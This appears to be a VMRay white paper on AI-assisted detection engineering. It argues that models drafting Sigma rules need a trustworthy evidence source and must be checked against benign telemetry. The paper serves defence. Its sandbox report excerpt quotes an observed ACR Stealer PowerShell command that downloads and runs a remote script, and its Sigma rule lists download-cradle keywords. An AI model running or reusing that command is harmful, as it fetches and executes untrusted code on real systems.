Every Agent Needs an Oracle
01
Abstract
Detection rules are increasingly drafted by machines rather than human engineers. An AI agent reads threat intelligence, proposes a Sigma rule and opens a pull request. The appeal is not hard to see, since detection engineering has always had to compete with triage and incident response for the same limited hours.
What moves quietly are errors propagating. An AI agent cannot check its source against reality; it can only repeat what it was told.
This paper argues that the fundamental question in AI-assisted detection engineering is not whether the model is good enough. It is what the model is relying on as input. That question already has a name in the blockchain industry: “The Oracle Problem”. An oracle is the outside source a system leans on for ground truth it cannot obtain on its own. Hand it a weak source and the system will produce confident, yet wrong answers. An oracle, therefore, should be evaluated before it can be trusted. We set out five properties a source must have to serve as an oracle for a machine consumer. But grounding the input is not enough on its own, since a model cannot be trusted to judge its own output either. Therefore, we describe a pipeline that pairs an input oracle with deterministic quality gates, where every drafted rule is executed against real benign telemetry before a human reads it.
02
Problem Statement
In this pipeline, a language model is a fluent transformer of one format into another. It has no inherent way of measuring whether its output is correct. Given a hash and a threat actor name and asked what that malware does, it reaches for its training data, because that’s all it has. And since the same training data has to serve as both the source of the answer and the only available check on the answer, a wrong answer comes out reading exactly as convincing as a right one.
The one component with no measurement channel
Figure 1. The agent inherits everything it asserts from its source, and everything downstream is produced at machine speed. A wrong claim never meets a pause.
Figure 1. The agent is the one component in the pipeline with no measurement channel of its own. Everything it asserts is inherited from its source, and everything downstream of it is produced at machine speed.The consequence is a wrong claim about a threat cascading downstream. When an analyst writes something incorrect about what a threat actor did, a colleague reviewing that report can catch the error before anyone acts on it. When an agent writes something incorrect about what a threat actor did, there is no equivalent pause: the claim is compiled directly into a coverage matrix, then into a set of drafted rules, then through a pull request and results in alert volume that lands on whoever is on call. The error arrives pre-formatted, internally consistent and indistinguishable in tone from the correct output. A detection rule can be syntactically correct but still fail to detect or generate too many false positives.
So the question a team should ask is not whether the model is good enough. But what oracle is this agent relying on?
|An oracle is the outside source a system leans on for ground truth it cannot obtain on its own.The Oracle Problem
In cryptography
A trust chain terminates at a root certificate you chose. Nothing above the root is more trustworthy than the root.
In blockchain systems
A smart contract with flawless logic settles incorrectly when its price feed lies. This is where the term “oracle problem” comes from.
In an AI detection pipeline
The agent’s correctness is bound by the information it was handed.
03
Why Open Source Intelligence Fails a Machine Consumer
Most threat intelligence in circulation was built for a human reader. An analyst reading three vendor reports about the same intrusion notices they are the same intrusion. An analyst who receives a bare file hash knows not to write a detection rule from it. An analyst who sees a record from last quarter reads it as history rather than as the current campaign. None of that judgment is in the data. It is in the analyst, and it does not transfer when the consumer changes.
Three failure modes matter most once the consumer is a machine.
Three failure modes, once the consumer is a machine
Figure 2. The judgment that makes analyst-grade intelligence usable lives in the analyst’s head. When the consumer is a machine, each condition converts into a specific, silent error.
Figure 2. The judgment that makes analyst-grade intelligence usable lives in the analyst’s head. When the consumer becomes a machine, that judgment is not inherited, and each condition converts into a specific, silent error.None of this makes aggregated intelligence worthless, but it makes it unsuitable as an oracle. A source can be perfectly good reading material for a team and still be the wrong root of trust for an automated pipeline, because the properties that matter to a machine consumer are different from the ones that matter to a reader.
DefinitionThreat Data, Information, Intelligence
Threat data
Observations with little context: events, logs, isolated indicator values.
Threat information
Data that has been structured and given context, so it carries meaning.
Threat intelligence
Information that has been analyzed, enriched and compiled into something a team can act on.
An AI agent can consume all three. It can only be trusted with the third when the analysis it rests on was performed by something with access to the world.
04
Guidance Framework: Grade the Source
If the agent cannot be graded on correctness, grade the thing it depends on. Five properties determine whether a source can carry the weight of an automated pipeline. Each one answers a specific failure mode from the previous section.
◆ Observed: The record is derived from behavior captured during sample execution. This is the difference between evidence and an inference.
◆ Unique: Deduplication has to happen at the source, because an agent counting records cannot tell repetition from distinct incidents.
◆ Fresh: The record describes the campaign currently running. A coverage gap is only meaningful when measured against the most recent threat activity.
◆ Behavioral Context: The record contains actions: process lineage, command lines, registry and file operations, network destinations. Atomic values alone leave the agent to invent the behavior a detection rule requires.
◆ Structured: The record is machine-parseable, with stable field names and typed values, and ideally with the target taxonomy already applied. What is only implied in prose does not survive the trip into an automated system.
Five properties of an oracle system
Figure 3. Each property answers one of the failure modes. Open-source feeds miss all five for a machine consumer; a report that is a transcript of execution carries them.
Figure 3. The five properties of an oracle system.VMRay products satisfy all five requirements. The sample ran and VMRay analyzed it. What the report contains is a transcript of that.
In practiceThe agent’s job gets smaller
With a graded source, the task handed to the model changes shape. It stops being is this malicious, and what does it do, and becomes express this recorded behavior as Sigma, which requires only fluency.
That is the whole trick. The model is asked a question it can actually answer.
05
VMRay as an Evidence Source
VMRay qualifies as an oracle for this class of pipeline because of how its data is produced. A sample is executed in a monitored environment and its behavior is recorded from outside the guest, which is what makes the resulting report suitable for our purposes. Two VMRay products carry distinct roles in the architecture described here.
◆ VMRay UniqueSignal: narrows the search space by providing a fresh set of indicators scoped to the relevant threat actors and malware families for each run.
◆ VMRay Platform: answers what those threats actually did. For each tracked entity, the pipeline fetches the sandbox report for one file indicator before any model sees the case. That report is the evidence the model reasons over.
Neither substitutes for the other. UniqueSignal without sandbox artifacts leaves the agent holding hashes. Sandbox reports without a scoped feed leave it analyzing whatever happened to be submitted.
TABLE 1 · VMRAY TECHNOLOGY MAPPED TO THE FIVE ORACLE PROPERTIES
| PROPERTY |
WHAT SUPPLIES IT |
|
Observed
The behavior was recorded during execution.
|
Detonation under VMRay’s Intelligent Monitoring is the source of every behavioral field in the report. Monitoring from outside the analysis environment keeps that environment hard for context-aware malware to identify, and automated user interaction and reboot handling draw out behavior that a sample would otherwise withhold.
Why it matters here: a report that is a transcript can be quoted to a model as fact. A report that is an assessment can only be paraphrased and that is where hallucination starts.
|
|
Unique
One incident produces one record.
|
UniqueSignal is built around deduplication at the source. It is queried per configured threat actor or malware family rather than consumed as an undifferentiated stream.
Why it matters here: the coverage matrix downstream counts techniques. Duplicate records distort those counts and an agent has no way to notice.
|
|
Fresh
The record describes what is running now.
|
The pipeline queries VMRay UniqueSignal on every run. No cached intelligence snapshot sits between the feed and the analysis.
Why it matters here: the output of a run is a set of coverage gaps. A gap is a statement about a moment which expires.
|
|
Behavioral
The record contains actions.
|
The VMRay Platform report carries monitored processes with full command lines and parent relationships, DNS and IP activity, scored VMRay Threat Identifier (VTI) findings written as human-legible sentences, and, where VMRay’s extractors recognize the family, parsed malware configuration including C2 infrastructure.
Why it matters here: a Sigma rule is made of fields and values found in telemetry. Command lines and process lineage translate into detection logic directly. A hash does not translate at all.
|
|
Structured
Machine-parseable, with the taxonomy already applied.
|
VMRay’s data is delivered as structured JSON with stable field names and includes VMRay’s own resolved MITRE ATT&CK technique mappings.
Why it matters here: the model is handed a taxonomy rather than asked to derive one. Classification, the part where a confident wrong answer is expensive, has already happened upstream.
|
VMRay Platform · the evidence handed to the model
vmray platform — analysis report
MALICIOUS
Classifications
Injector | Keylogger | Spyware
Threat Names
ACRStealer
▦ DYNAMIC ANALYSIS REPORT
Created last week
xqAAE.exe
Windows Exe (x86-32)
Remarks (1/1)
Anti-Sleep Triggered (0x0200000E): sleep time across monitored processes truncated from 35m 14s to 1m 58s to reveal dormant functionality.
Overview
Network
Behavior
Files
YARA
IOCs
Environment
VMRay Threat Identifiers (34 rules, 126 matches)
Score
Category
Operation
Count
Classification
YARA
Malicious content matched by YARA rules
1
Spyware
Defense Evasion
Uses AFD endpoint for network communication
6
–
Injection
Process Hollowing
1
Injector
Injection
Writes into the memory of another process
1
Injector
Anti Analysis
Makes indirect system call to evade hooking-based monitoring
30
–
Screenshot A. The report opens with an established verdict and scored, human-legible findings. There is no maliciousness question left for the model to reopen.
VMRay Platform · process lineage and command lines
Monitored processes
Process Overview
| ID |
PID |
Monitor Reason |
Integrity Level |
Image Name |
Command Line |
Origin |
| #1 |
0x1668 |
Analysis Target |
High (Elevated) |
xqaae.exe |
“C:\Users\OqXZRaykm\Desktop\xqAAE.exe” |
– |
| #2 |
0x17c8 |
Child Process |
High (Elevated) |
2s6pgu…kwz.exe |
…\Temp\2s6pgu…\2s6pgu7Ur1ZKHwKZ.exe |
#1 |
| #3 |
0x1020 |
Child Process |
High (Elevated) |
servicemodelreg.exe |
…\v4.0.30319\ServiceModelReg.exe |
#2 |
| #4 |
0x3f4 |
RPC Server |
System (Elevated) |
svchost.exe |
svchost.exe -k netsvcs -p |
#3 |
| #5 |
0x155c |
RPC Server |
System (Elevated) |
wmiprvse.exe |
wmiprvse.exe -secured -Embedding |
#4 |
Screenshot B. Command lines and parent relationships are recorded, not inferred. These are the fields a Sigma rule is built from; a bare hash translates into none of them.
DefinitionVTI — VMRay Threat Identifier
An individually scored finding describing one specific observed behavior, written as a sentence a person can read: for example, an attempt to read a browser credential store.
For a machine consumer, VTI findings are the useful middle layer. They are more specific than a verdict and more interpretable than a raw function log, which makes them the natural input to a model asked to name techniques.
06
Validation Gates
The model’s output must be treated as an unproven claim. A Sigma rule can be syntactically correct yet still be scoped so broadly that it triggers on ordinary user activity. That failure is invisible in the rule’s text, which makes self-review the wrong validation mechanism. A model cannot reliably determine whether its own output will produce false positives in the real world.
Instead, the draft is validated against evidence. Every generated Sigma rule is executed with Zircolite against a static corpus of benign Windows telemetry. The corpus represents ordinary system activity, so any match is treated as a failed validation. Whether the rule appears logically sound is irrelevant; if it alerts on known-benign data, it is demonstrably incorrect.
The result is a pipeline with the model in the middle and evidence on both sides. Evidence determines both what the model reasons over and whether its output is accepted.
The model between two anchors
Figure 4. On the way in, VMRay establishes what the sample did. On the way out, execution against real telemetry establishes whether the rule is usable. The model never certifies its own work.
Figure 4. The model sits between two anchors. On the way in, VMRay establishes what the sample did. On the way out, execution against real telemetry establishes whether the rule is usable.The verification ladder
Verification runs in three layers. The pipeline runs all three locally before a human is asked to look at anything.
The verification ladder
Figure 5. Structural and logical checks catch drafts that cannot execute. Empirical verification is the one that answers the correctness question, by running the rule against real benign telemetry.
Figure 5. Structural and logical verification catch drafts that cannot execute. Empirical verification is the one that answers the correctness question by running the rule.The same gates run again in CI once the pull request is open. Nothing in the verification layer knows or cares whether a person or a model produced the commit diff it is evaluating, which is the property that makes the pipeline’s output reviewable at all.
CI · the same gates run again on the pull request
pr-gate.yml — GitHub Actions
pr-gate.yml
on: pull_request
●lint23s
●coverage-check23s
Screenshot C. Structural, logical, and empirical checks re-run in CI. Nothing in the gate knows or cares whether a person or a model produced the commit diff.
CI · empirical verification, reported back on the PR
github-actions bot — commented 2 minutes ago
Detection Test Results (Zircolite)
rules/windows/collection/T1056.001/input_capture_keylogging.yml
✓Detects the activity it targets: fired on all positive fixtures
✓did not generate false positives: tested against 4,666 benign events
rules/windows/collection/T1113/screen_capture.yml
✓Detects the activity it targets: fired on all positive fixtures
✓did not generate false positives: tested against 4,666 benign events
rules/windows/command_and_control/T1071.001/application_layer_protocol_web.yml
✓Detects the activity it targets: fired on all positive fixtures
✓did not generate false positives: tested against 4,666 benign events
rules/windows/defense_evasion/T1027/obfuscated_files_or_information.yml
✗Does not reliably detect: fired on 0 of 1 positive fixture
• did not fire on logs/windows/defense_evasion/T1027/positive/llm_generated_1.json
Screenshot D. Each drafted rule is executed. A rule that fails to fire on its own positive fixture is flagged and left out, in public, on the pull request.
Design ruleA verdict is never a model’s to give
Two judgments arise in this pipeline. Whether a behavior is malicious, and whether a drafted rule is correct.
Both are handed to deterministic systems for the same reason: a deterministic verdict does not vary with how confident or fluent the input looks.
The model’s own assessment of its work carries no weight in either decision.
07
From Detonation to Detection
The values below are from a real run where ACR Stealer (an infostealer malware) was identified as the coverage gap. The report excerpt has been shortened to retain only the fields that influenced the result.
STAGE 1 · VMRAY REPORT SUMMARY — the evidence handed to the model
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
{
"source": "vmray_report",
"mitre_attacks": [
{ "attck_id": "T1027", "tactics": ["Defense Evasion"],
"technique": "Obfuscated Files or Information" }
],
"vti_highlights": [
{ "category": "Network Connection", "score": 4,
"description": "Process performs an HTTP request to a public paste service." },
{ "category": "Data Collection", "score": 5,
"description": "Tries to read sensitive browser credential stores." }
],
"processes": [
{ "image": "powershell.exe",
"parent_image": "wscript.exe",
"cmd_line": "powershell.exe -Command IEX (New-Object Net.WebClient).DownloadString('http://172.67.201.79/payload.ps1')" }
],
"network": { "domains": ["telegra.ph"], "ips": ["172.67.201.79"] },
"malware_configuration": {
"family": "ACRStealer",
"c2": ["https://telegra.ph/..."] // dead-drop resolver
}
}
Note what is present and what is absent. There is no verdict for the model to second-guess and no maliciousness question left open. The behavior is already established. What remains is a naming problem.
STAGE 2 · MODEL OUTPUT — one entry from the structured TTP list
1
2
3
4
5
6
7
8
{
"tactic": "command_and_control",
"technique_id": "T1071",
"technique_name": "Application Layer Protocol",
"confidence": "high",
"rationale": "Monitored powershell.exe process issues an outbound web request via Net.WebClient; extracted configuration confirms a web-protocol dead-drop resolver as C2.",
"source_indicator": "<sha256 of the enriched file indicator>"
}
The output shape is fixed by a response schema and every rationale is required to cite the specific evidence that supports it. This is a transformation between two known formats, which is the task a language model is actually good at.
STAGE 3 · DRAFTED RULE — verified, then merged as commit 033b84b
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
title: Potential C2 Communication via PowerShell
id: f48845be-fcae-4eb1-8fbf-bdaea2df6ca5
status: test
description: Detects PowerShell executing commands that perform web requests, which is often indicative of C2 beaconing or file downloads.
references:
- https://attack.mitre.org/techniques/T1071/
author: threat-landscape-pipeline (LLM-generated)
date: '2026-07-25'
tags:
- attack.command_and_control
- attack.t1071
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith: \powershell.exe
CommandLine|contains:
- Net.WebClient
- DownloadString
- DownloadFile
- Invoke-WebRequest
- 'iwr '
condition: selection
falsepositives:
- Administrative scripts using PowerShell for updates or monitoring.
- Legitimate automated system management tasks.
level: medium
Every field in that rule traces back to something in the report. The mapping is worth seeing laid out, because it is the whole claim of this paper in one picture: the model chose the wording and the evidence chose the content.
Watch the arrowEvidence decides, the model phrases
The logsource comes from where the behavior was seen. The selection fields come from a monitored command line. The tags come from a technique ID resolved against real activity. The tactic comes from the technique.
What the model contributed is the title, the description, the false-positive notes and the choice of which command-line substrings generalize. Useful work, and none of it a verdict.
Field-level mapping for the T1071 rule
Figure 6. Solid lines carry content from observed behavior into detection logic. Dashed lines mark the model’s contribution: the technique naming and the prose fields. Nothing in the detection logic originates with the model.
Figure 6. Field-level mapping for the T1071 rule. Solid lines carry content from observed behavior into detection logic. Dashed lines mark the model’s contribution: the technique naming it performed over that evidence, and the prose fields it wrote. Nothing in the detection logic originates with the model.08
A Run of Record: APT29 and ACR Stealer
The run below was executed against two tracked entities: APT29 and ACR Stealer. For each entity, one file indicator was resolved through UniqueSignal in OpenCTI and enriched with its corresponding VMRay Platform report before technique inference began. Ten ATT&CK techniques were inferred from the observed evidence. One already had detection coverage in the existing rule library. The remaining nine were identified as coverage opportunities, meaning that no corresponding rule existed at the start of the run.
TABLE 2 · THREAT LANDSCAPE COVERAGE
| TACTIC |
TECHNIQUE |
THREAT ACTOR |
STATUS |
| command_and_control |
T1071.001 Application Layer Protocol: Web Protocols |
ACR Stealer, APT29 |
● Coverage Opportunity |
| credential_access |
T1056.001 Input Capture: Keylogging |
APT29 |
● Coverage Opportunity |
| defense_evasion |
T1036.005 Masquerading: Match Legitimate Name or Location |
APT29 |
● Coverage Opportunity |
| defense_evasion |
T1055 Process Injection |
ACR Stealer |
● Coverage Opportunity |
| defense_evasion |
T1055.001 Process Injection: DLL Injection |
APT29 |
● Coverage Opportunity |
| defense_evasion |
T1143 Hidden Window |
ACR Stealer |
● Coverage Opportunity |
| defense_evasion |
T1562.001 Impair Defenses: Disable or Modify Tools |
APT29 |
● Coverage Opportunity |
| execution |
T1059.001 Command and Scripting Interpreter: PowerShell |
ACR Stealer |
● Existing Coverage |
| execution |
T1106 Native API |
ACR Stealer |
● Coverage Opportunity |
| privilege_escalation |
T1548.002 Abuse Elevation Control Mechanism: Bypass UAC |
APT29 |
● Coverage Opportunity |
Coverage by tactic · July 2026 run
Figure 7. Defense evasion accounts for four of the nine coverage opportunities. Execution was the single technique that already had a rule in the library.
Figure 7. Coverage by tactic for the July 2026 run. Defense evasion accounts for four of the nine coverage opportunities. Full values are in Table 2.T1071 was one of the coverage opportunities traced end-to-end in Section 7. VMRay’s analysis recorded outbound web-protocol traffic to a legitimate publishing service that was being abused as a dead drop for configuration data. The behavior was confirmed through dynamic analysis rather than inferred after the fact. Because no corresponding rule existed at the start of the run, the model reasoned over that evidence, identified T1071 and drafted a rule for the responsible process. The draft passed structural, logical and empirical verification, produced zero matches against the benign corpus and was merged through a human-reviewed pull request. This converted an identified coverage opportunity into validated detection coverage. At no point in that chain was the model asked to determine whether the sample was malicious or whether its own rule was correct.
09
Criteria for Selecting an Intelligence Source for Machine Consumers
The properties in Section 4 translate into questions worth asking of any source before an agent is pointed at it.
◆ Is deduplication performed at the source?: If not, something downstream has to do it. Ask how the provider decides that two reports describe the same incident.
◆ Does each record carry behavior or only values?: Command lines, process lineage, registry and file operations and network destinations are what a detection rule is built from.
◆ Are threat indicators timely?: A threat indicator is only as fresh as the intelligence behind it. Fresh indicators ensure coverage is measured against current threat context.
◆ Is the target taxonomy already applied?: A source that resolves ATT&CK techniques itself removes the classification step from the model’s hands entirely.
◆ Does every record link back to the specific analysis behind it?: Reviewers need to reach the evidence in one click.
10
Conclusion
Detection engineering has always been throttled by the same finite pool of hours that triage draws on. That is why coverage advances in bursts and decays between them. An AI agent can change that arithmetic. But it can also mass-produce a defect.
What separates them is whether the pipeline has deterministic oracles built within. The system described here has two of them. First, VMRay products set the agenda and establish the facts. That way, the model is never asked whether something is malicious. Second, execution against benign telemetry establishes whether a drafted rule is usable. So the model is never asked to certify its own work. Between those two anchors, the model does what it is genuinely good at: it turns observed behavior into a detection rule.
Remove either anchor and the pipeline stops being a verified system. The broader point extends past this pipeline: an AI agent is only as good as its oracle, so the source is the thing to grade.
VMRay Terminology Reference
| TERM |
DEFINITION |
| Intelligent Monitoring |
VMRay’s monitoring technology for distinguishing relevant malware behavior from unrelated system activity. It dynamically adjusts the level of monitoring to capture meaningful behavior while reducing noise in analysis reports. |
| UniqueSignal |
VMRay’s advanced threat intelligence feed designed to deliver high-confidence, noise-free intelligence via TAXII 2.1. It supports multiple formats, including STIX 2.1, JSON, CSV, and MISP extended format, ensuring seamless integration into modern security platforms. |
| VMRay analysis |
The process through which VMRay examines a sample or artifact and produces findings, a report and a verdict. Supported analysis methods include dynamic analysis, static analysis, web analysis and reputation-based analysis. |
| VMRay Platform |
VMRay’s core malware and phishing analysis platform and the technological foundation of its products. It uses hypervisor-based analysis to help security teams detect, analyze and investigate novel, targeted and evasive threats. |
| VMRay Platform report |
The complete output of an analysis performed by VMRay Platform. It provides multiple levels of insight into a submitted sample or artifact, including observed behavior, identified threats, extracted indicators and analysis findings. |
| VMRay Platform verdict |
An assessment of the maliciousness of a sample or artifact. The principal verdicts are Malicious, Suspicious and Clean. The verdict forms part of the broader analysis report. |
| VMRay Threat Identifier (VTI) |
An individually scored finding that describes a specific behavior identified during analysis. VTI findings present technical observations in human-readable form and help explain why a sample or artifact received a particular verdict. |
References
- VMRay, VMRay Platform and UniqueSignal Threat Intelligence, vmray.com.
- SigmaHQ, Sigma: Generic Signature Format for SIEM Systems, github.com/SigmaHQ/sigma.
- MITRE, MITRE ATT&CK, attack.mitre.org.
- wagga40, Zircolite: Standalone Sigma-based Detection Tool, github.com/wagga40/Zircolite.
- Nextron Systems, evtx-baseline, the benign Windows telemetry corpus used for empirical verification.
- OpenCTI Platform, Filters API Reference, docs.opencti.io.